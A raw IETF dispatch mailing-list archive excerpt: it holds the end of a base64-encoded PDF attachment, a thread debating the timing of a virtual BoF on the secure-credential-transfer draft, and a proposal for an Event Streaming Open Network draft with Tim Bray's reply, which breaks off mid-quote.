CjAwMDAwNzIwMzggMDAwMDAgbiAKMDAwMDA2ODg2NyAwMDAwMCBuIAowMDAwMDY5MDE4IDAwMDAw IG4gCjAwMDAwNjkxNjkgMDAwMDAgbiAKMDAwMDA2OTI3MSAwMDAwMCBuIAowMDAwMDY4OTQyIDAw MDAwIG4gCjAwMDAwNjkwOTMgMDAwMDAgbiAKMDAwMDA2OTM0NiAwMDAwMCBuIAowMDAwMDY5NTIx IDAwMDAwIG4gCjAwMDAwNjk2NzIgMDAwMDAgbiAKMDAwMDA2OTgyMyAwMDAwMCBuIAowMDAwMDY5 OTI1IDAwMDAwIG4gCjAwMDAwNjk1OTYgMDAwMDAgbiAKMDAwMDA2OTc0NyAwMDAwMCBuIAowMDAw MDcwMDAwIDAwMDAwIG4gCjAwMDAwNzAxNzUgMDAwMDAgbiAKMDAwMDA3MDMyNiAwMDAwMCBuIAow MDAwMDcwNDc3IDAwMDAwIG4gCjAwMDAwNzA1NzkgMDAwMDAgbiAKMDAwMDA3MDI1MCAwMDAwMCBu IAowMDAwMDcwNDAxIDAwMDAwIG4gCjAwMDAwNzA2NTQgMDAwMDAgbiAKMDAwMDA3MDgyOSAwMDAw MCBuIAowMDAwMDcwOTgwIDAwMDAwIG4gCjAwMDAwNzExMzEgMDAwMDAgbiAKMDAwMDA3MTIzMyAw MDAwMCBuIAowMDAwMDcwOTA0IDAwMDAwIG4gCjAwMDAwNzEwNTUgMDAwMDAgbiAKMDAwMDA3MTMw OCAwMDAwMCBuIAowMDAwMDcxNDgzIDAwMDAwIG4gCjAwMDAwNzE2MzQgMDAwMDAgbiAKMDAwMDA3 MTc4NSAwMDAwMCBuIAowMDAwMDcxODg3IDAwMDAwIG4gCjAwMDAwNzE1NTggMDAwMDAgbiAKMDAw MDA3MTcwOSAwMDAwMCBuIAowMDAwMDcxOTYyIDAwMDAwIG4gCjAwMDAwNzIxMzcgMDAwMDAgbiAK MDAwMDA3MjI4OCAwMDAwMCBuIAowMDAwMDcyNDM5IDAwMDAwIG4gCjAwMDAwNzI1OTAgMDAwMDAg biAKMDAwMDA3MjIxMiAwMDAwMCBuIAowMDAwMDcyMzYzIDAwMDAwIG4gCjAwMDAwNzI1MTQgMDAw MDAgbiAKMDAwMDA3MjY2NSAwMDAwMCBuIAowMDAwMDczMTU2IDAwMDAwIG4gCjAwMDAwNzMzOTYg MDAwMDAgbiAKMDAwMDA3MzYzNiAwMDAwMCBuIAowMDAwMDczODc2IDAwMDAwIG4gCjAwMDAwNzQx MTYgMDAwMDAgbiAKMDAwMDA3MzIzOCAwMDAwMCBuIAowMDAwMDczMzE2IDAwMDAwIG4gCjAwMDAw NzM0NzggMDAwMDAgbiAKMDAwMDA3MzU1NiAwMDAwMCBuIAowMDAwMDczNzE4IDAwMDAwIG4gCjAw MDAwNzM3OTYgMDAwMDAgbiAKMDAwMDA3Mzk1OCAwMDAwMCBuIAowMDAwMDc0MDM2IDAwMDAwIG4g CjAwMDAwNzQxOTggMDAwMDAgbiAKMDAwMDA3NDI3NiAwMDAwMCBuIAowMDAwMDc0NzcxIDAwMDAw IG4gCjAwMDAwNzUwMTEgMDAwMDAgbiAKMDAwMDA3NTI1MSAwMDAwMCBuIAowMDAwMDc1NDkzIDAw MDAwIG4gCjAwMDAwNzU3MzUgMDAwMDAgbiAKMDAwMDA3NDg1MyAwMDAwMCBuIAowMDAwMDc0OTMx IDAwMDAwIG4gCjAwMDAwNzUwOTMgMDAwMDAgbiAKMDAwMDA3NTE3MSAwMDAwMCBuIAowMDAwMDc1 MzMzIDAwMDAwIG4gCjAwMDAwNzU0MTIgMDAwMDAgbiAKMDAwMDA3NTU3NSAwMDAwMCBuIAowMDAw MDc1NjU0IDAwMDAwIG4gCjAwMDAwNzU4MTcgMDAwMDAgbiAKMDAwMDA3NTg5NiAwMDAwMCBuIAow MDAwMDc2Mzg0IDAwMDAwIG4gCjAwMDAwNzY2MjcgMDAwMDAgbiAKMDAwMDA3Njg3MCAwMDAwMCBu IAowMDAwMDc2NDY3IDAwMDAwIG4gCjAwMDAwNzY1NDYgMDAwMDAgbiAKMDAwMDA3NjcxMCAwMDAw MCBuIAowMDAwMDc2Nzg5IDAwMDAwIG4gCjAwMDAwNzY5NTMgMDAwMDAgbiAKMDAwMDA3NzAzMiAw MDAwMCBuIAowMDAwMDc3NTk3IDAwMDAwIG4gCjAwMDAwNzc4NDAgMDAwMDAgbiAKMDAwMDA3ODA4 MyAwMDAwMCBuIAowMDAwMDc3NjgwIDAwMDAwIG4gCjAwMDAwNzc3NTkgMDAwMDAgbiAKMDAwMDA3 NzkyMyAwMDAwMCBuIAowMDAwMDc4MDAyIDAwMDAwIG4gCjAwMDAwNzgxNjYgMDAwMDAgbiAKMDAw MDA3ODI0NSAwMDAwMCBuIAowMDAwMDc4ODAyIDAwMDAwIG4gCjAwMDAwNzkwNDUgMDAwMDAgbiAK MDAwMDA3ODg4NSAwMDAwMCBuIAowMDAwMDc4OTY0IDAwMDAwIG4gCjAwMDAwNzkxMjggMDAwMDAg biAKMDAwMDA3OTIwNyAwMDAwMCBuIAowMDAwMDc5NzcyIDAwMDAwIG4gCjAwMDAwODAwMTUgMDAw MDAgbiAKMDAwMDA4MDI1OCAwMDAwMCBuIAowMDAwMDc5ODU1IDAwMDAwIG4gCjAwMDAwNzk5MzQg MDAwMDAgbiAKMDAwMDA4MDA5OCAwMDAwMCBuIAowMDAwMDgwMTc3IDAwMDAwIG4gCjAwMDAwODAz NDEgMDAwMDAgbiAKMDAwMDA4MDQyMCAwMDAwMCBuIAowMDAwMDgwOTg1IDAwMDAwIG4gCjAwMDAw ODEyMjggMDAwMDAgbiAKMDAwMDA4MTQ3MSAwMDAwMCBuIAowMDAwMDgxMDY4IDAwMDAwIG4gCjAw MDAwODExNDcgMDAwMDAgbiAKMDAwMDA4MTMxMSAwMDAwMCBuIAowMDAwMDgxMzkwIDAwMDAwIG4g CjAwMDAwODE1NTQgMDAwMDAgbiAKMDAwMDA4MTYzMyAwMDAwMCBuIAowMDAwMDgyMTkwIDAwMDAw IG4gCjAwMDAwODI0MzMgMDAwMDAgbiAKMDAwMDA4MjI3MyAwMDAwMCBuIAowMDAwMDgyMzUyIDAw MDAwIG4gCjAwMDAwODI1MTYgMDAwMDAgbiAKMDAwMDA4MjU5NSAwMDAwMCBuIAowMDAwMDgzMDEx IDAwMDAwIG4gCjAwMDAwODMyNTQgMDAwMDAgbiAKMDAwMDA4MzQ5NyAwMDAwMCBuIAowMDAwMDgz NzQwIDAwMDAwIG4gCjAwMDAwODMwOTQgMDAwMDAgbiAKMDAwMDA4MzE3MyAwMDAwMCBuIAowMDAw MDgzMzM3IDAwMDAwIG4gCjAwMDAwODM0MTYgMDAwMDAgbiAKMDAwMDA4MzU4MCAwMDAwMCBuIAow MDAwMDgzNjU5IDAwMDAwIG4gCjAwMDAwODM4MjMgMDAwMDAgbiAKMDAwMDA4MzkwMiAwMDAwMCBu IAowMDAwMDg0MzEwIDAwMDAwIG4gCjAwMDAwODQ1NTMgMDAwMDAgbiAKMDAwMDA4NDc5NiAwMDAw MCBuIAowMDAwMDg0MzkzIDAwMDAwIG4gCjAwMDAwODQ0NzIgMDAwMDAgbiAKMDAwMDA4NDYzNiAw MDAwMCBuIAowMDAwMDg0NzE1IDAwMDAwIG4gCjAwMDAwODQ4NzkgMDAwMDAgbiAKMDAwMDA4NDk1 OCAwMDAwMCBuIAowMDAwMDg1NTgyIDAwMDAwIG4gCjAwMDAwODU2NzcgMDAwMDAgbiAKMDAwMDA4 Njc3MSAwMDAwMCBuIAowMDAwMDg3MDQ1IDAwMDAwIG4gCjAwMDAwOTQ5MjYgMDAwMDAgbiAKMDAw MDA5NDYyOSAwMDAwMCBuIAowMDAwMDk1MTk5IDAwMDAwIG4gCjAwMDAxMDE0NTQgMDAwMDAgbiAK MDAwMDEwMTcyNiAwMDAwMCBuIAowMDAwMTA5MDQzIDAwMDAwIG4gCjAwMDAxMDkzMTQgMDAwMDAg biAKMDAwMDExNzk1MSAwMDAwMCBuIAowMDAwMTE3NjUzIDAwMDAwIG4gCjAwMDAxMTgyMjEgMDAw MDAgbiAKMDAwMDEyNDU1MiAwMDAwMCBuIAp0cmFpbGVyCjw8IC9TaXplIDMyMCAvUm9vdCAzMDYg MCBSIC9JbmZvIDMxOSAwIFIgL0lEIFsgPDFjNGRiMDc3MGY5MGE1OGI1MzQ2YTU1Zjg4MWM1NzVi Pgo8MWM0ZGIwNzcwZjkwYTU4YjUzNDZhNTVmODgxYzU3NWI+IF0gPj4Kc3RhcnR4cmVmCjEyNDc3 MgolJUVPRgo= --Apple-Mail=_4CB3FCD6-4DF3-4CE8-9C50-81889C8BC938 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=utf-8

Hope= everyone has a great weekend.

Thanks!
Matt

On Jan = 27, 2022, at 9:01 AM, Matthew Byington <mbyington@apple.com>= wrote:

Hi Eric, Lucas,

Thank you very much for = the feedback. It is really valuable to me as I am navigating IETF and = BoFs in general to learn and better my understanding of how these things = should work.

Mark/Eric/Richard thank you as well for your input on timing = and the fact that it is not being held at IETF week. I will circle back = with Francesca to discuss, but I=E2=80=99m personally really looking = forward to discussing the topic with the broader community sooner than = IETF 113 so that we can continue the discussion.

Eric/Lucas - I will type up some = supplemental material in addition to the draft and charter that we = published earlier this week to the mailing lists and I will respond here = with that material by EOD tomorrow (Friday Jan 28) describing the = problem statement in additional detail.

In addition to responding here I=E2=80=99= ll post it on our GitHub so that it is available to folks who aren=E2=80=99= t on this list.

Thanks,
Matt

On Jan 26, 2022, at 7:04 PM, Eric Rescorla <ekr@rtfm.com> = wrote:

At this point I'm going to repeat = my ask  (in my review when this was DISPATCHED) for some document = which describes the problem and the assumed constraints.

This protocol has a = number of features which seem surprising, and without understanding the = context it is essentially impossible to determine whether those are = necessary or misfeatures.

It would be extremely helpful if you posted this with = sufficient time for people to read this *prior* to the BoF, say in the = next week or so.

-Ekr


On Wed, Jan 26, 2022 at 6:08 PM Lucas = Pardue <lucaspardue.24.7@gmail.com> wrote:
Either way, there's not really = much detail to help prepare for the BoF. With it being two weeks away = I'd expect to see an agenda at least.

Cheers,
Lucas

On Thu, Jan 27, 2022 at 1:39 AM Richard = Barnes <rlb@ipv.sx> wrote:
I have the opposite concerns from Eric and Mark.  = Holding a BoF outside the IETF week means less competition for peoples' = attention.  And in the era of easy, high-quality conferencing, it's = ridiculous to delay work for months on the basis that we can only get = the right group of people together three weeks a year.

+1 for virtual BoFs

--Richard

On Wed, Jan = 26, 2022 at 7:22 PM Eric Rescorla <ekr@rtfm.com> wrote:
I share Mark's concerns about this BoF. Is there a reason = this wasn't held during IETF week?
-Ekr


On Wed, Jan 26, 2022 at 4:17 PM Mark = Nottingham <mnot@mnot.net> wrote:
I'm a little surprised to hear = this.

Holding BoFs during IETF weeks gives them elevated visibility during a = period when IETF folks have already reserved their attention and time = for IETF matters. Scheduling one out of an IETF week means that people = need to accommodate it in their schedules, not only for the event but = also for preparation work.

Holding such a BoF virtually compounds that -- especially when there has = been ZERO consultation with the broad community about timing. E.g, if I = wanted to attend this BoF, I'd need to be up before 4am.

The icing on the cake, though, is announcing it with only two weeks' = notice -- a period of time shorter than many vacations.

As a result, I have very little confidence that this BoF will reflect = community consensus and input. Of course, you will confirm consensus on = lists, etc., but holding the BoF in such a limited forum taints the = outcome.

IESG, this is a horrible precedent and while I won't specifically argue = to cancel or delay this BoF, I do expect you to be much more thoughtful = about these issues.

Cheers,


> On 26 Jan 2022, at 12:00 pm, Matthew Byington <mbyington=3D40apple.com@dmarc.ietf.org> wrote:
>
> Hi Eric,
>
> My understanding is that the BoF will be handled virtually (not = in-person). It has also been scheduled outside of the normal IETF = week.
>
> The BoF is working-group forming, yes.
>
> Matt
>
>> On Jan 25, 2022, at 11:38 AM, Eric Rescorla <ekr@rtfm.com> wrote:
>>
>> Can you clarify what the status of a "virtual BoF" is, here? = I.e., is this in lieu of an actual BoF at the next IETF? Is this WG = forming?
>>
>> -Ekr
>>
>>
>> On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington = <mbyington=3D40apple.com@dmarc.ietf.org> = wrote:
>> Hi there,
>>
>> I wanted to send an email out communicating an upcoming virtual = BoF meeting scheduled for Thursday February 10th.
>>
>> This is a follow-on to the initial presentation at IETF week = 112 given last year.
>>
>> I am posting the information below to a few different IETF = mailing lists, so apologies if you receive duplicate notifications on = the subject.
>>
>> A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us = to get this scheduled and organized.
>>
>> Latest draft:
>>      https://www.ietf.org/archive/id/draft-secure-credential-transfe= r-03.html
>>
>> Charter:
>>      https://github.com/dimmyvi/secure-credential-transfer/blob/main= /charter.md
>>     
>> BoF Request:
>>      https://datatracker.ietf.org/doc/bofreq-secure-credential-trans= fer-bof-request/
>>     
>> Virtual BoF (Francesca is finalizing this schedule still, but = this is the proposed date and time):
>>      Thursday February 10th 17:00-19:00 UTC (https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673730,5,8,10= 0&h=3D2673730&date=3D2022-2-10&sln=3D18-20&hf=3D1)
>>
>> Mailing list:
>>      https://www.ietf.org/mailman/listinfo/secret
>>
>> Thanks,
>> Matt
>> _______________________________________________
>> dispatch mailing list
>> dispatch@ietf.org
>> https://www.ietf.org/mailman/listinfo/dispatch
>
> _______________________________________________
> dispatch mailing list
> dispatch@ietf.org
> https://www.ietf.org/mailman/listinfo/dispatch

--
Mark Nottingham   https://www.mnot.net/

_______________________________________________
dispatch mailing list
dispatch@ietf.org
https://www.ietf.org/mailman/listinfo/dispatch
_______________________________________________
dispatch mailing list
dispatch@ietf.org
https://www.ietf.org/mailman/listinfo/dispatch


= --Apple-Mail=_4CB3FCD6-4DF3-4CE8-9C50-81889C8BC938-- --Apple-Mail=_5E019FA5-9FC3-4ECE-9184-C05048B159F5-- From nobody Sat Jan 29 04:03:43 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6CA5A3A1B79 for ; Sat, 29 Jan 2022 04:03:41 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.895 X-Spam-Level: X-Spam-Status: No, score=-1.895 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_BLOCKED=0.001, SPF_HELO_NONE=0.001, SPF_NONE=0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=syndeno-com.20210112.gappssmtp.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id rnGDaVTaySTT for ; Sat, 29 Jan 2022 04:03:38 -0800 (PST) Received: from mail-io1-xd2c.google.com (mail-io1-xd2c.google.com [IPv6:2607:f8b0:4864:20::d2c]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id B3EFE3A1B77 for ; Sat, 29 Jan 2022 04:03:38 -0800 (PST) Received: by mail-io1-xd2c.google.com with SMTP id q204so10923058iod.8 for ; Sat, 29 Jan 2022 04:03:38 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=syndeno-com.20210112.gappssmtp.com; s=20210112; h=mime-version:from:date:message-id:subject:to; bh=C2EFt3sNPCAfVyUrnpNJHtPc33uNvIC948y/ho20HdU=; b=TsGj0wL+/dcX3ESinTz5KN3kOnUdVQ0CZBdyuBbrDu3xkM981VISMctMlREyjXbASZ 80Rl2gA5bi9eW+lclXFHdq1sJmB/B5Ps5/6ObNPv/OzQWgfit8YHFCcmtA3X5AEYyMM8 eoUNVxC5IohKloCs77mt20YVjmx4IB8d/sL+dScKIkzY2df1LwU7xmQMBrzMO5LP9HvS i1j3exnWUVqQBSNG3CqKrmgZOtkdIMT/1lMHutuCoOivHPueSad2h8FANiOsYXA8W1FI 4u8gk1TKccjFEjHwkUIMc2+HGlLFw01hKq/mPA6bddIEurdAgfRXqUwaF4tApryeHfge mIGw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:from:date:message-id:subject:to; bh=C2EFt3sNPCAfVyUrnpNJHtPc33uNvIC948y/ho20HdU=; b=j9HHNZg2hOETzKiJOHJM1sFR0wMZadJaThkVYbhK6YXzvUek5psjnPxgG7zoB1E/tc 9C/OBmJdRXhNgZ7qHO8DN3rmCdU01HhRGkazHT1jVboBe68OND1Kc3Ioo7v0zyx2Pl9l uI4DnbADXxT/v8ejWWR9QpdF65sLLNMjk8T3kwp5UIFMEricuAAl1o13o6vP3nakuhc0 319ACN9qK8nwP0GvcVnqN4EqB3Z9Zqw/4rQvSRQeuGoKncRFpUne5T7nenGcHeGSxBtn 1a0dGWch/Mt50qCV+ZTk+J6seXV0fmej5i4kWNwgg3KYFjj0u52iw7TazqhRkBgG/aJD Eigg== X-Gm-Message-State: AOAM533KNluo6nsjewkTcWZU+p66woS72JVLel1/juDRBeVUw9s9q5RL mtSuF+UV8D/UmBETfCbK8z+LAbW0OZalCrgay+ULqpM+P/iaEvcJ+imPgXYBCQWHxHA5Bqja6WJ UvYoLdexSxRUrQRh9WpbzPRXQWNSU8VY= X-Google-Smtp-Source: ABdhPJx0NZu4EWeN5TyL33LJWKZrFr6+46xmbvolvsqr/PpFXqcrCGXrdd/I1zC3zpNaUtBbAxQPMVHzxh0HWtgFlOM= X-Received: by 2002:a02:272d:: with SMTP id g45mr6866088jaa.165.1643457817013; Sat, 29 Jan 2022 04:03:37 -0800 (PST) MIME-Version: 1.0 From: Emiliano Spinella Date: Sat, 29 Jan 2022 13:03:25 +0100 Message-ID: To: dispatch@ietf.org Content-Type: multipart/alternative; boundary="000000000000630fe405d6b7574a" Archived-At: Subject: [dispatch] Event Streaming Open Network Draft & BoF Request X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Jan 2022 12:03:42 -0000 --000000000000630fe405d6b7574a Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Hello everyone, I have submitted a new draft for discussion: https://datatracker.ietf.org/doc/draft-spinella-event-streaming-open-networ= k/ The draft contains several images which are broken in the Datatracker html version (still dealing with SVG Tiny 1.2 format). In the meantime, you can read the draft including images at: https://github.com/syndeno/draft-spinella-event-streaming-open-network The general idea of an Event Streaming Open Network is to have an open framework for the discovery, name resolution and overall communication of event streams. The participants of this network could use whatever event broker implementation they want. Thus, they would be able to consume and produce events independently of the event broker used by their peers. The document describes the motivation, design and an initial implementation of a (free and open) way to connect event streams across different network participants. The purpose is to facilitate cross-organizational event flow connections over the Internet. This work has been highly influenced by the Email architecture and its protocols (RFC5321, RFC3501 and RFC6068; among others). Also, it leverages unicast DNS-SD for resource discovery (RFC6763)= . Although a A BoF request has been submitted for this topic ( https://datatracker.ietf.org/doc/bofreq-spinella-event-streaming-open-netwo= rk/), I would like to request agenda time for a presentation in Dispatch during IETF 113. I would be happy to hear your feedback about this draft. Thanks, Emiliano --=20 _LEGAL NOTICE: The content of this email message, including the attached=20 files, is confidential and is protected by article 18.3 of the Spanish=20 Constitution, which guarantees the secrecy of communications. If you=20 receive this message in error, please contact the sender to inform them of= =20 this fact, and do not broadcast its content or make copies. _ _*** This=20 message has been verified with removal tools for viruses and malicious=20 content *** _ _This legal notice has been automatically incorporated into=20 the message. _ *---------------------------------------------* *AVISO=20 LEGAL: El contenido de este mensaje de correo electr=C3=B3nico, incluidos l= os=20 ficheros adjuntos, es confidencial y est=C3=A1 protegido por el art=C3=ADcu= lo 18.3 de=20 la Constituci=C3=B3n Espa=C3=B1ola, que garantiza el secreto de las comunic= aciones.=20 Si usted recibe este mensaje por error, por favor p=C3=B3ngase en contacto = con=20 el remitente para informarle de este hecho, y no difunda su contenido ni=20 haga copias. * _*** Este mensaje ha sido verificado con herramientas de=20 eliminaci=C3=B3n de virus y contenido malicioso *** _ _Este aviso legal ha sido=20 incorporado autom=C3=A1ticamente al mensaje._ --000000000000630fe405d6b7574a Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
Hello everyone,

I have submitted a new draft for di= scussion: https://datatracker.ietf.org/doc/draft-spinella-ev= ent-streaming-open-network/

The draft contains several images wh= ich are broken in the Datatracker html version (still dealing with SVG Tiny= 1.2 format). In the meantime, you can read the draft including images at: = https://github.com/syndeno/draft-spinella-event-streaming-open-netw= ork

The general idea of an Event Streaming Open Network is to ha= ve an open framework for the discovery, name resolution and overall communi= cation of event streams. The participants of this network could use whateve= r event broker implementation they want. Thus, they would be able to consum= e and produce events independently of the event broker used by their peers.=

The document describes the motivation, design and an initial implem= entation of a (free and open) way to connect event streams across different= network participants. The purpose is to facilitate cross-organizational ev= ent flow connections over the Internet. This work has been highly influence= d by the Email architecture and its protocols (RFC5321, RFC3501 and RFC6068= ; among others). Also, it leverages unicast DNS-SD for resource discovery (= RFC6763).

Although a A BoF request has been submitted for this topic= (https://datatracker.ietf.org/doc/bofreq-spinella-event-st= reaming-open-network/), I would like to request agenda time for a prese= ntation in Dispatch during IETF 113.

I would be happy to hear y= our feedback about this draft.

Thanks,
E= miliano


LEGAL NOTICE= : The content of this email message, including the attached files, is confi= dential and is protected by article 18.3 of the Spanish Constitution, which= guarantees the secrecy of communications. If you receive this message in e= rror, please contact the sender to inform them of this fact, and do not bro= adcast its content or make copies.
*** This message has been verified with remo= val tools for viruses and malicious content ***
This legal notice has been aut= omatically incorporated into the message.
---------------------------------------------=
AVISO LEGAL: El con= tenido de este mensaje de correo electr=C3=B3nico, incluidos los ficheros a= djuntos, es confidencial y est=C3=A1 protegido por el art=C3=ADculo 18.3 de= la Constituci=C3=B3n Espa=C3=B1ola, que garantiza el secreto de las comuni= caciones. Si usted recibe este mensaje por error, por favor p=C3=B3ngase en= contacto con el remitente para informarle de este hecho, y no difunda su c= ontenido ni haga copias.
*** Este mensaje ha sido verificado con herrami= entas de eliminaci=C3=B3n de virus y contenido malicioso ***
<= div>Este aviso legal h= a sido incorporado autom=C3=A1ticamente al mensaje.
--000000000000630fe405d6b7574a-- From nobody Sat Jan 29 11:39:22 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 9D2AC3A0644 for ; Sat, 29 Jan 2022 11:39:20 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.898 X-Spam-Level: X-Spam-Status: No, score=-1.898 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=textuality-com.20210112.gappssmtp.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 3vFtQ1GHDC1o for ; Sat, 29 Jan 2022 11:39:16 -0800 (PST) Received: from mail-lj1-x233.google.com (mail-lj1-x233.google.com [IPv6:2a00:1450:4864:20::233]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id DC9B73A061B for ; Sat, 29 Jan 2022 11:39:15 -0800 (PST) Received: by mail-lj1-x233.google.com with SMTP id e17so13844579ljk.5 for ; Sat, 29 Jan 2022 11:39:15 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=textuality-com.20210112.gappssmtp.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=UVwcKpJrx+rU0e6logc4QlILqUH1d6CGvsvLGWeGxm0=; b=gG0092TL8sitrs2tnbAlnk7gt0Db8iBpXbWfxXsfZD1h6/nzUPJeWbC03H5F5oueWK kJBX9/7y6iOWtdUyXa877l+LxRYXKs79BA7PFgjCb5FVVoru23PR4qWRS0pHZK6DnWqR XvxCzkQsraBX742m2Fxj4jY7HMalUt8bw7lrpDdvrO9P9B2I4+wiDtuDfQQZB/iS7LVk wIPDc9mmOFN/Ew79PV2fe5QIRaIXwqVpTlu5FAKNhtRr0YW3Xxn41ZpUes1v3tjgTVgh MJsGvpFvuf0MR/Tf5VtMgFgrZXJCbpcaP8MqqD701TZIhChi1updZHqubpufbDGA0YuS i7Iw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=UVwcKpJrx+rU0e6logc4QlILqUH1d6CGvsvLGWeGxm0=; b=oTm8eQ5YlIe5HoduMy34W2qxynl48ElPyN8YZ3r5Uh1DT+JW5pv4JrUG5miZ9b6GCt kTm4GvjK4nvaDXbzGi/sVPWlXfQsRoEt4PkHwgLf6punJuakC+EY96fIHrclQw53nUaW L+hlqxqMGc52Nvoic97CBtEAEnHgiUqun2FDHq0ll6Ij3DDzJJrOP2rlKvhfmCjl9P9O Y8mDAL1Q9F4r9/lEMu7iWU8Mzk1LWpsFTk55PqsH1G/b+GCzURZm8fg/lnyN2bFyWL2u YtNW1FMHhwwA9WUSgayegJNaCZ9KB1aPKrcmQCNRZVsfpMQk10EMHtkjIZdDystkH4Ms EPRw== X-Gm-Message-State: AOAM532GKNDP5FXVKbjuKGt1dhtkHIfEEB3TibjsmeaHowUKWuUH9Eub 3SlZtVozNvA5O6qygrzVt1nrOi2CHR/rdPZR9dCPBp4ZZBs= X-Google-Smtp-Source: ABdhPJwpdlYhp4TNWzu6ie2EUqfuOhKa2RpqLLBknTDupTTcJLHa1uKP1L7utkf7LZBJD5ArOdj3hchN8h5zGhMTRu8= X-Received: by 2002:a2e:9816:: with SMTP id a22mr9333550ljj.126.1643485152879; Sat, 29 Jan 2022 11:39:12 -0800 (PST) MIME-Version: 1.0 References: In-Reply-To: From: Tim Bray Date: Sat, 29 Jan 2022 11:39:01 -0800 Message-ID: To: Emiliano Spinella Cc: DISPATCH list Content-Type: multipart/alternative; boundary="000000000000bb361705d6bdb435" Archived-At: Subject: Re: [dispatch] Event Streaming Open Network Draft & BoF Request X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Jan 2022 19:39:21 -0000 --000000000000bb361705d6bdb435 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Having been a designer of AWS EventBridge and worked with the AWS Managed Kafka service, I'm reasonably well-exposed to these issues. I suspect that (a) a standardized framework such as proposed here would be generally useful, but (b) it would be a ton of work and I'd be hesitant to take it on without plausible commitments to put the work in. The draft is immensely long and the ratio of motivation and evangelism to specification much too high, but the breakdown of components seems broadly sane. There are issues, for example: (a) it wouldn=E2=80=99t be OK to requi= re Kubernetes, or specific programming languages for compliance and (b) the draft doesn't say anything about message schemas, which are a big and fairly central problem in these applications. I'd also wonder to what extent this work is being addressed by the CNCF. On Sat, Jan 29, 2022 at 4:03 AM Emiliano Spinella < emiliano.spinella@syndeno.com> wrote: > Hello everyone, > > I have submitted a new draft for discussion: > https://datatracker.ietf.org/doc/draft-spinella-event-streaming-open-netw= ork/ > > The draft contains several images which are broken in the Datatracker htm= l > version (still dealing with SVG Tiny 1.2 format). In the meantime, you ca= n > read the draft including images at: > https://github.com/syndeno/draft-spinella-event-streaming-open-network > > The general idea of an Event Streaming Open Network is to have an open > framework for the discovery, name resolution and overall communication of > event streams. The participants of this network could use whatever event > broker implementation they want. Thus, they would be able to consume and > produce events independently of the event broker used by their peers. > > The document describes the motivation, design and an initial > implementation of a (free and open) way to connect event streams across > different network participants. The purpose is to facilitate > cross-organizational event flow connections over the Internet. This work > has been highly influenced by the Email architecture and its protocols > (RFC5321, RFC3501 and RFC6068; among others). Also, it leverages unicast > DNS-SD for resource discovery (RFC6763). > > Although a A BoF request has been submitted for this topic ( > https://datatracker.ietf.org/doc/bofreq-spinella-event-streaming-open-net= work/), > I would like to request agenda time for a presentation in Dispatch during > IETF 113. > > I would be happy to hear your feedback about this draft. > > Thanks, > Emiliano > > > *LEGAL NOTICE: The content of this email message, including the attached > files, is confidential and is protected by article 18.3 of the Spanish > Constitution, which guarantees the secrecy of communications. If you > receive this message in error, please contact the sender to inform them o= f > this fact, and do not broadcast its content or make copies.* > **** This message has been verified with removal tools for viruses and > malicious content **** > *This legal notice has been automatically incorporated into the message.* > *---------------------------------------------* > > *AVISO LEGAL: El contenido de este mensaje de correo electr=C3=B3nico, > incluidos los ficheros adjuntos, es confidencial y est=C3=A1 protegido po= r el > art=C3=ADculo 18.3 de la Constituci=C3=B3n Espa=C3=B1ola, que garantiza e= l secreto de las > comunicaciones. Si usted recibe este mensaje por error, por favor p=C3=B3= ngase > en contacto con el remitente para informarle de este hecho, y no difunda = su > contenido ni haga copias.* > **** Este mensaje ha sido verificado con herramientas de 